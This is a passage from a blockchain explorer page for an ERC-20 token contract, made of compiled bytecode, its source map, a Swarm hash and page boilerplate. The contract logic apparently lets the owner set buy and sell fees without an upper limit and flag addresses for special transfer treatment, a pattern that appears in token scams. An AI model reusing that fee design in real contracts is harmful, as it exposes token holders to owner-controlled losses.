d5b506101d26102b13660046111ad565b60056020525f908152604090205460ff1681565b3480156102d0575f80fd5b506102e46102df3660046111ad565b6105f2565b005b3480156102f1575f80fd5b50610212600a5481565b348015610306575f80fd5b506102e46103153660046111c8565b610647565b348015610325575f80fd5b506013546101d290600160a81b900460ff1681565b348015610345575f80fd5b506102126103543660046111ad565b6001600160a01b03165f9081526003602052604090205490565b348015610379575f80fd5b506102e4610678565b34801561038d575f80fd5b506102e46106e9565b3480156103a1575f80fd5b505f546001600160a01b031661025e565b3480156103bd575f80fd5b50610212600e5481565b3480156103d2575f80fd5b5061019d610723565b3480156103e6575f80fd5b506101d26103f5366004611145565b610732565b348015610405575f80fd5b506013546101d290600160a01b900460ff1681565b348015610425575f80fd5b5060125461025e906001600160a01b031681565b348015610444575f80fd5b5061021260095481565b348015610459575f80fd5b506102126104683660046111e8565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b34801561049d575f80fd5b506102e46104ac3660046111ad565b61073e565b3480156104bc575f80fd5b506102e46104cb3660046111ad565b610787565b3480156104db575f80fd5b50610212600f5481565b6060600180546104f49061121f565b80601f01602080910402602001604051908101604052809291908181526020018280546105209061121f565b801561056b5780601f106105425761010080835404028352916020019161056b565b820191905f5260205f20905b81548152906001019060200180831161054e57829003601f168201915b5050505050905090565b5f61058133848461086e565b5060015b92915050565b5f61059784848461092e565b6105e884336105e3856040518060600160405280602881526020016113b9602891396001600160a01b038a165f9081526004602090815260408083203384529091529020549190610caa565b61086e565b5060019392505050565b5f546001600160a01b031633146106245760405162461bcd60e51b815260040161061b90611257565b60405180910390fd5b6001600160a01b03165f908152600560205260409020805460ff19166001179055565b5f546001600160a01b031633146106705760405162461bcd60e51b815260040161061b90611257565b600a55600955565b5f546001600160a01b031633146106a15760405162461bcd60e51b815260040161061b90611257565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107125760405162461bcd60e51b815260040161061b90611257565b5f19600e556003600a819055600955565b6060600280546104f49061121f565b5f61058133848461092e565b5f546001600160a01b031633146107675760405162461bcd60e51b815260040161061b90611257565b6001600160a01b03165f908152600560205260409020805460ff19169055565b5f546001600160a01b031633146107b05760405162461bcd60e51b815260040161061b90611257565b6001600160a01b0381166108155760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061b565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061088e57506001600160a01b03821615155b6108ce5760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b604482015260640161061b565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b0383811691161480159061095957506010546001600160a01b03838116911614155b801561096e57506001600160a01b0382163014155b801561098857506013546001600160a01b03838116911614155b80156109a257506011546001600160a01b03838116911614155b80156109bb57505f546001600160a01b03848116911614155b15610a46576001600160a01b0382165f90815260036020526040902054600e546109e583836112a0565b1115610a445760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b606482015260840161061b565b505b6001600160a01b03831615801590610a6657506001600160a01b03821615155b610aaa5760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b604482015260640161061b565b5f8111610b075760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b606482015260840161061b565b60115460ff600160a81b82048116600160a01b9092041610801590610b2d5750600f5481115b8015610b435750601354600160a01b900460ff16155b8015610b6757506001600160a01b0383165f9081526005602052604090205460ff16155b8015610b8057506013546001600160a01b038381169116145b8015610b955750601354600160a81b900460ff165b15610bc7576011805460ff60a01b19169055305f908152600360205260409020548015610bc557610bc581610cd5565b505b6001600160a01b0383165f9081526005602052604090205460019060ff1680610c0757506001600160a01b0383165f9081526005602052604090205460ff165b80610c4e5750601354600160b01b900460ff168015610c3457506013546001600160a01b03858116911614155b8015610c4e57506013546001600160a01b03848116911614155b15610c5a57505f610c98565b6013546001600160a01b0390811690851603610c7b57600954600855610c98565b6013546001600160a01b0390811690841603610c9857600a546008555b610ca484848484610d1a565b50505050565b5f8184841115610ccd5760405162461bcd60e51b815260040161061b91906110e3565b505050900390565b6013805460ff60a01b1916600160a01b179055610cf181610d87565b6010544790610d09906001600160a01b031682610ed7565b50506013805460ff60a01b19169055565b80610d2c57610d27610f0f565b610d60565b60118054600160a01b900460ff16906014610d46836112b3565b91906101000a81548160ff021916908360ff160217905550505b610d6b848484610f53565b80610ca457610ca4600b54600855600c54600955600d54600a55565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610dba57610dba6112d1565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e11573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e3591906112e5565b81600181518110610e4857610e486112d1565b6001600160a01b039283166020918202929092010152601254610e6e913091168461086e565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ea69085905f90869030904290600401611300565b5f604051808303815f87803b158015610ebd575f80fd5b505af1158015610ecf573d5f803e3d5ffd5b505050505050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015610f0a573d5f803e3d5ffd5b505050565b600854158015610f1f5750600954155b8015610f2b5750600a54155b15610f3257565b60098054600c55600a8054600d5560088054600b555f928390559082905555565b5f610f746064610f6e600854856110b090919063ffffffff16565b906110c2565b90505f610f8183836110cd565b6001600160a01b0386165f9081526005602052604090205490915060ff168015610fc45750600e546001600160a01b0386165f9081526003602052604090205411155b15610fd9575f9150610fd6818461136f565b92505b6001600160a01b0385165f90815260036020526040902054610ffb90846110cd565b6001600160a01b038087165f90815260036020526040808220939093559086168152205461102990826110d8565b6001600160a01b0385165f9081526003602052604080822092909255308152205461105490836110d8565b305f9081526003602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b5f6110bb8284611382565b9392505050565b5f6110bb8284611399565b5f6110bb828461136f565b5f6110bb82846112a0565b5f6020808352835180828501525f5b8181101561110e578581018301518582016040015282016110f2565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611142575f80fd5b50565b5f8060408385031215611156575f80fd5b82356111618161112e565b946020939093013593505050565b5f805f60608486031215611181575f80fd5b833561118c8161112e565b9250602084013561119c8161112e565b929592945050506040919091013590565b5f602082840312156111bd575f80fd5b81356110bb8161112e565b5f80604083850312156111d9575f80fd5b50508035926020909101359150565b5f80604083850312156111f9575f80fd5b82356112048161112e565b915060208301356112148161112e565b809150509250929050565b600181811c9082168061123357607f821691505b60208210810361125157634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156105855761058561128c565b5f60ff821660ff81036112c8576112c861128c565b60010192915050565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156112f5575f80fd5b81516110bb8161112e565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561134e5784516001600160a01b031683529383019391830191600101611329565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156105855761058561128c565b80820281158282048414176105855761058561128c565b5f826113b357634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5693d8a6012a6c89e4c16ee1db5467d3af14c18c0b1f0c38a8c9899c51ca3ac64736f6c63430008150033

Deployed Bytecode Sourcemap

5085:8615:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7169:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8012:161;;;;;;;;;;-1:-1:-1;8012:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;8012:161:0;1023:187:1;10686:34:0;;;;;;;;;;-1:-1:-1;10686:34:0;;;;-1:-1:-1;;;10686:34:0;;;;;;7446:100;;;;;;;;;;-1:-1:-1;7526:12:0;;7446:100;;;1361:25:1;;;1349:2;1334:18;7446:100:0;1215:177:1;8181:313:0;;;;;;;;;;-1:-1:-1;8181:313:0;;;;;:::i;:::-;;:::i;6297:23::-;;;;;;;;;;-1:-1:-1;6297:23:0;;;;-1:-1:-1;;;;;6297:23:0;;;;;;-1:-1:-1;;;;;2022:32:1;;;2004:51;;1992:2;1977:18;6297:23:0;1858:203:1;7355:83:0;;;;;;;;;;-1:-1:-1;7421:9:0;;7355:83;;7421:9;;;;2208:36:1;;2196:2;2181:18;7355:83:0;2066:184:1;5393:44:0;;;;;;;;;;-1:-1:-1;5393:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10195:104;;;;;;;;;;-1:-1:-1;10195:104:0;;;;;:::i;:::-;;:::i;:::-;;5633:33;;;;;;;;;;;;;;;;10490:153;;;;;;;;;;-1:-1:-1;10490:153:0;;;;;:::i;:::-;;:::i;6352:30::-;;;;;;;;;;-1:-1:-1;6352:30:0;;;;-1:-1:-1;;;6352:30:0;;;;;;7554:124;;;;;;;;;;-1:-1:-1;7554:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;7647:23:0;7620:7;7647:23;;;:14;:23;;;;;;;7554:124;1924:148;;;;;;;;;;;;;:::i;11548:145::-;;;;;;;;;;;;;:::i;1607:87::-;;;;;;;;;;-1:-1:-1;1653:7:0;1680:6;-1:-1:-1;;;;;1680:6:0;1607:87;;5846:56;;;;;;;;;;;;;;;;7260:87;;;;;;;;;;;;;:::i;7686:167::-;;;;;;;;;;-1:-1:-1;7686:167:0;;;;;:::i;:::-;;:::i;6327:18::-;;;;;;;;;;-1:-1:-1;6327:18:0;;;;-1:-1:-1;;;6327:18:0;;;;;;6265:25;;;;;;;;;;-1:-1:-1;6265:25:0;;;;-1:-1:-1;;;;;6265:25:0;;;5594:32;;;;;;;;;;;;;;;;7861:143;;;;;;;;;;-1:-1:-1;7861:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7969:18:0;;;7942:7;7969:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7861:143;10379:103;;;;;;;;;;-1:-1:-1;10379:103:0;;;;;:::i;:::-;;:::i;2128:244::-;;;;;;;;;;-1:-1:-1;2128:244:0;;;;;:::i;:::-;;:::i;5909:55::-;;;;;;;;;;;;;;;;7169:83;7206:13;7239:5;7232:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7169:83;:::o;8012:161::-;8087:4;8104:39;1119:10;8127:7;8136:6;8104:8;:39::i;:::-;-1:-1:-1;8161:4:0;8012:161;;;;;:::o;8181:313::-;8279:4;8296:36;8306:6;8314:9;8325:6;8296:9;:36::i;:::-;8343:121;8352:6;1119:10;8374:89;8412:6;8374:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8374:19:0;;;;;;:11;:19;;;;;;;;1119:10;8374:33;;;;;;;;;;:37;:89::i;:::-;8343:8;:121::i;:::-;-1:-1:-1;8482:4:0;8181:313;;;;;:::o;10195:104::-;1653:7;1680:6;-1:-1:-1;;;;;1680:6:0;1119:10;1792:23;1784:68;;;;-1:-1:-1;;;1784:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;10264:20:0::1;;::::0;;;:11:::1;:20;::::0;;;;:27;;-1:-1:-1;;10264:27:0::1;10287:4;10264:27;::::0;;10195:104::o;10490:153::-;1653:7;1680:6;-1:-1:-1;;;;;1680:6:0;1119:10;1792:23;1784:68;;;;-1:-1:-1;;;1784:68:0;;;;;;;:::i;:::-;10576:13:::1;:24:::0;10611:12:::1;:22:::0;10490:153::o;1924:148::-;1653:7;1680:6;-1:-1:-1;;;;;1680:6:0;1119:10;1792:23;1784:68;;;;-1:-1:-1;;;1784:68:0;;;;;;;:::i;:::-;2031:1:::1;2015:6:::0;;1994:40:::1;::::0;-1:-1:-1;;;;;2015:6:0;;::::1;::::0;1994:40:::1;::::0;2031:1;;1994:40:::1;2062:1;2045:19:::0;;-1:-1:-1;;;;;;2045:19:0::1;::::0;;1924:148::o;11548:145::-;1653:7;1680:6;-1:-1:-1;;;;;1680:6:0;1119:10;1792:23;1784:68;;;;-1:-1:-1;;;1784:68:0;;;;;;;:::i;:::-;-1:-1:-1;;11602:14:0::1;:28:::0;11657:1:::1;11641:13;:17:::0;;;11669:12:::1;:16:::0;11548:145::o;7260:87::-;7299:13;7332:7;7325:14;;;;;:::i;7686:167::-;7764:4;7781:42;1119:10;7805:9;7816:6;7781:9;:42::i;10379:103::-;1653:7;1680:6;-1:-1:-1;;;;;1680:6:0;1119:10;1792:23;1784:68;;;;-1:-1:-1;;;1784:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10446:20:0::1;10469:5;10446:20:::0;;;:11:::1;:20;::::0;;;;:28;;-1:-1:-1;;10446:28:0::1;::::0;;10379:103::o;2128:244::-;1653:7;1680:6;-1:-1:-1;;;;;1680:6:0;1119:10;1792:23;1784:68;;;;-1:-1:-1;;;1784:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2217:22:0;::::1;2209:73;;;::::0;-1:-1:-1;;;2209:73:0;;4324:2:1;2209:73:0::1;::::0;::::1;4306:21:1::0;4363:2;4343:18;;;4336:30;4402:34;4382:18;;;4375:62;-1:-1:-1;;;4453:18:1;;;4446:36;4499:19;;2209:73:0::1;4122:402:1::0;2209:73:0::1;2319:6;::::0;;2298:38:::1;::::0;-1:-1:-1;;;;;2298:38:0;;::::1;::::0;2319:6;::::1;::::0;2298:38:::1;::::0;::::1;2347:6;:17:::0;;-1:-1:-1;;;;;;2347:17:0::1;-1:-1:-1::0;;;;;2347:17:0;;;::::1;::::0;;;::::1;::::0;;2128:244::o;11274:266::-;-1:-1:-1;;;;;11369:19:0;;;;;;:44;;-1:-1:-1;;;;;;11392:21:0;;;;11369:44;11361:74;;;;-1:-1:-1;;;11361:74:0;;4731:2:1;11361:74:0;;;4713:21:1;4770:2;4750:18;;;4743:30;-1:-1:-1;;;4789:18:1;;;4782:47;4846:18;;11361:74:0;4529:341:1;11361:74:0;-1:-1:-1;;;;;11446:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11498:32;;1361:25:1;;;11498:32:0;;1334:18:1;11498:32:0;;;;;;;11274:266;;;:::o;11701:1583::-;1653:7;1680:6;-1:-1:-1;;;;;11860:13:0;;;1680:6;;11860:13;;;;:47;;-1:-1:-1;11896:11:0;;-1:-1:-1;;;;;11890:17:0;;;11896:11;;11890:17;;11860:47;:83;;;;-1:-1:-1;;;;;;11924:19:0;;11938:4;11924:19;;11860:83;:114;;;;-1:-1:-1;11966:8:0;;-1:-1:-1;;;;;11960:14:0;;;11966:8;;11960:14;;11860:114;:141;;;;-1:-1:-1;11997:4:0;;-1:-1:-1;;;;;11991:10:0;;;11997:4;;11991:10;;11860:141;:173;;;;-1:-1:-1;1653:7:0;1680:6;-1:-1:-1;;;;;12018:15:0;;;1680:6;;12018:15;;11860:173;11856:354;;;-1:-1:-1;;;;;7647:23:0;;12051:18;7647:23;;;:14;:23;;;;;;12133:14;;12109:19;12122:6;7647:23;12109:19;:::i;:::-;12108:39;;12100:91;;;;-1:-1:-1;;;12100:91:0;;5339:2:1;12100:91:0;;;5321:21:1;5378:2;5358:18;;;5351:30;5417:34;5397:18;;;5390:62;-1:-1:-1;;;5468:18:1;;;5461:38;5516:19;;12100:91:0;5137:404:1;12100:91:0;12034:176;11856:354;-1:-1:-1;;;;;12230:18:0;;;;;;:38;;-1:-1:-1;;;;;;12252:16:0;;;;12230:38;12222:72;;;;-1:-1:-1;;;12222:72:0;;5748:2:1;12222:72:0;;;5730:21:1;5787:2;5767:18;;;5760:30;-1:-1:-1;;;5806:18:1;;;5799:51;5867:18;;12222:72:0;5546:345:1;12222:72:0;12322:1;12313:6;:10;12305:60;;;;-1:-1:-1;;;12305:60:0;;6098:2:1;12305:60:0;;;6080:21:1;6137:2;6117:18;;;6110:30;6176:34;6156:18;;;6149:62;-1:-1:-1;;;6227:18:1;;;6220:35;6272:19;;12305:60:0;5896:401:1;12305:60:0;12448:9;;;-1:-1:-1;;;12448:9:0;;;;-1:-1:-1;;;12439:5:0;;;;:18;;;;:61;;;12484:16;;12475:6;:25;12439:61;:85;;;;-1:-1:-1;12518:6:0;;-1:-1:-1;;;12518:6:0;;;;12517:7;12439:85;:120;;;;-1:-1:-1;;;;;;12542:17:0;;;;;;:11;:17;;;;;;;;12541:18;12439:120;:151;;;;-1:-1:-1;12582:8:0;;-1:-1:-1;;;;;12576:14:0;;;12582:8;;12576:14;12439:151;:179;;;;-1:-1:-1;12607:11:0;;-1:-1:-1;;;12607:11:0;;;;12439:179;12422:438;;;12661:5;:9;;-1:-1:-1;;;;12661:9:0;;;12734:4;-1:-1:-1;7647:23:0;;;:14;:23;;;;;;12758:24;;12755:94;;12798:36;12813:20;12798:14;:36::i;:::-;12644:216;12422:438;-1:-1:-1;;;;;12913:17:0;;12880:12;12913:17;;;:11;:17;;;;;;12895:4;;12913:17;;;:36;;-1:-1:-1;;;;;;12934:15:0;;;;;;:11;:15;;;;;;;;12913:36;:95;;;-1:-1:-1;12954:15:0;;-1:-1:-1;;;12954:15:0;;;;:35;;;;-1:-1:-1;12981:8:0;;-1:-1:-1;;;;;12973:16:0;;;12981:8;;12973:16;;12954:35;:53;;;;-1:-1:-1;12999:8:0;;-1:-1:-1;;;;;12993:14:0;;;12999:8;;12993:14;;12954:53;12910:318;;;-1:-1:-1;13034:5:0;12910:318;;;13069:8;;-1:-1:-1;;;;;13069:8:0;;;13061:16;;;;13057:171;;13116:12;;13093:20;:35;13057:171;;;13156:8;;-1:-1:-1;;;;;13156:8:0;;;13150:14;;;;13146:82;;13203:13;;13180:20;:36;13146:82;13238:38;13253:4;13258:2;13261:6;13268:7;13238:14;:38::i;:::-;11804:1480;11701:1583;;;:::o;2832:206::-;2918:7;2979:12;2971:6;;;;2963:29;;;;-1:-1:-1;;;2963:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;3014:5:0;;;2832:206::o;13457:238::-;6631:6;:13;;-1:-1:-1;;;;6631:13:0;-1:-1:-1;;;6631:13:0;;;13552:38:::1;13569:20:::0;13552:16:::1;:38::i;:::-;13663:11;::::0;13623:21:::1;::::0;13655:32:::1;::::0;-1:-1:-1;;;;;13663:11:0::1;13623:21:::0;13655:7:::1;:32::i;:::-;-1:-1:-1::0;;6667:6:0;:14;;-1:-1:-1;;;;6667:14:0;;;13457:238::o;9027:347::-;9152:7;9148:105;;9175:14;:12;:14::i;:::-;9148:105;;;9230:5;:7;;-1:-1:-1;;;9230:7:0;;;;;:5;:7;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;9148:105;9263:41;9278:6;9286:9;9297:6;9263:14;:41::i;:::-;9329:7;9325:41;;9351:15;11166:20;;11143;:43;11208:11;;11193:12;:26;11243:12;;11227:13;:28;11097:169;8506:459;8598:16;;;8612:1;8598:16;;;;;;;;8574:21;;8598:16;;;;;;;;;;-1:-1:-1;8598:16:0;8574:40;;8643:4;8625;8630:1;8625:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8625:23:0;;;:7;;;;;;;;;;:23;;;;8669:10;;:17;;;-1:-1:-1;;;8669:17:0;;;;:10;;;;;:15;;:17;;;;;8625:7;;8669:17;;;;;:10;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8659:4;8664:1;8659:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8659:27:0;;;:7;;;;;;;;;:27;8729:10;;8697:57;;8714:4;;8729:10;8742:11;8697:8;:57::i;:::-;8765:10;;:192;;-1:-1:-1;;;8765:192:0;;-1:-1:-1;;;;;8765:10:0;;;;:61;;:192;;8841:11;;8765:10;;8884:4;;8911;;8931:15;;8765:192;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8561:404;8506:459;:::o;13294:115::-;13374:23;;-1:-1:-1;;;;;13374:15:0;;;:23;;;;;13390:6;;13374:23;;;;13390:6;13374:15;:23;;;;;;;;;;;;;;;;;;;;;13294:115;;:::o;10729:356::-;10775:20;;:25;:46;;;;-1:-1:-1;10804:12:0;;:17;10775:46;:68;;;;-1:-1:-1;10825:13:0;;:18;10775:68;10772:80;;;10729:356::o;10772:80::-;10878:12;;;10864:11;:26;10917:13;;;10902:12;:28;10965:20;;;10942;:43;-1:-1:-1;10996:16:0;;;;11023:17;;;;11051:24;10729:356::o;9455:668::-;9550:12;9565:42;9603:3;9565:33;9577:20;;9565:7;:11;;:33;;;;:::i;:::-;:37;;:42::i;:::-;9550:57;-1:-1:-1;9618:23:0;9644:17;:7;9550:57;9644:11;:17::i;:::-;-1:-1:-1;;;;;9677:19:0;;;;;;:11;:19;;;;;;9618:43;;-1:-1:-1;9677:19:0;;:63;;;;-1:-1:-1;9726:14:0;;-1:-1:-1;;;;;9700:22:0;;;;;;:14;:22;;;;;;:40;;9677:63;9674:144;;;9764:1;;-1:-1:-1;9780:26:0;9791:15;9780:26;;:::i;:::-;;;9674:144;-1:-1:-1;;;;;9853:22:0;;;;;;:14;:22;;;;;;:35;;9880:7;9853:26;:35::i;:::-;-1:-1:-1;;;;;9828:22:0;;;;;;;:14;:22;;;;;;:60;;;;9927:25;;;;;;;:46;;9957:15;9927:29;:46::i;:::-;-1:-1:-1;;;;;9899:25:0;;;;;;:14;:25;;;;;;:74;;;;10039:4;10016:29;;;;:39;;10050:4;10016:33;:39::i;:::-;10007:4;9984:29;;;;:14;:29;;;;;;;;;:71;;;;10071:44;1361:25:1;;;-1:-1:-1;;;;;10071:44:0;;;;;;;;;;1334:18:1;10071:44:0;;;;;;;9539:584;;9455:668;;;:::o;2616:98::-;2674:7;2701:5;2705:1;2701;:5;:::i;:::-;2694:12;2616:98;-1:-1:-1;;;2616:98:0:o;2726:::-;2784:7;2811:5;2815:1;2811;:5;:::i;2510:98::-;2568:7;2595:5;2599:1;2595;:5;:::i;2404:98::-;2462:7;2489:5;2493:1;2489;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:248::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;-1:-1:-1;;2675:23:1;;;2745:2;2730:18;;;2717:32;;-1:-1:-1;2507:248:1:o;2983:388::-;3051:6;3059;3112:2;3100:9;3091:7;3087:23;3083:32;3080:52;;;3128:1;3125;3118:12;3080:52;3167:9;3154:23;3186:31;3211:5;3186:31;:::i;:::-;3236:5;-1:-1:-1;3293:2:1;3278:18;;3265:32;3306:33;3265:32;3306:33;:::i;:::-;3358:7;3348:17;;;2983:388;;;;;:::o;3376:380::-;3455:1;3451:12;;;;3498;;;3519:61;;3573:4;3565:6;3561:17;3551:27;;3519:61;3626:2;3618:6;3615:14;3595:18;3592:38;3589:161;;3672:10;3667:3;3663:20;3660:1;3653:31;3707:4;3704:1;3697:15;3735:4;3732:1;3725:15;3589:161;;3376:380;;;:::o;3761:356::-;3963:2;3945:21;;;3982:18;;;3975:30;4041:34;4036:2;4021:18;;4014:62;4108:2;4093:18;;3761:356::o;4875:127::-;4936:10;4931:3;4927:20;4924:1;4917:31;4967:4;4964:1;4957:15;4991:4;4988:1;4981:15;5007:125;5072:9;;;5093:10;;;5090:36;;;5106:18;;:::i;6302:175::-;6339:3;6383:4;6376:5;6372:16;6412:4;6403:7;6400:17;6397:43;;6420:18;;:::i;:::-;6469:1;6456:15;;6302:175;-1:-1:-1;;6302:175:1:o;6614:127::-;6675:10;6670:3;6666:20;6663:1;6656:31;6706:4;6703:1;6696:15;6730:4;6727:1;6720:15;6746:251;6816:6;6869:2;6857:9;6848:7;6844:23;6840:32;6837:52;;;6885:1;6882;6875:12;6837:52;6917:9;6911:16;6936:31;6961:5;6936:31;:::i;7002:980::-;7264:4;7312:3;7301:9;7297:19;7343:6;7332:9;7325:25;7369:2;7407:6;7402:2;7391:9;7387:18;7380:34;7450:3;7445:2;7434:9;7430:18;7423:31;7474:6;7509;7503:13;7540:6;7532;7525:22;7578:3;7567:9;7563:19;7556:26;;7617:2;7609:6;7605:15;7591:29;;7638:1;7648:195;7662:6;7659:1;7656:13;7648:195;;;7727:13;;-1:-1:-1;;;;;7723:39:1;7711:52;;7818:15;;;;7783:12;;;;7759:1;7677:9;7648:195;;;-1:-1:-1;;;;;;;7899:32:1;;;;7894:2;7879:18;;7872:60;-1:-1:-1;;;7963:3:1;7948:19;7941:35;7860:3;7002:980;-1:-1:-1;;;7002:980:1:o;7987:128::-;8054:9;;;8075:11;;;8072:37;;;8089:18;;:::i;8120:168::-;8193:9;;;8224;;8241:15;;;8235:22;;8221:37;8211:71;;8262:18;;:::i;8293:217::-;8333:1;8359;8349:132;;8403:10;8398:3;8394:20;8391:1;8384:31;8438:4;8435:1;8428:15;8466:4;8463:1;8456:15;8349:132;-1:-1:-1;8495:9:1;;8293:217::o

Swarm Source

ipfs://a5693d8a6012a6c89e4c16ee1db5467d3af14c18c0b1f0c38a8c9899c51ca3ac
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.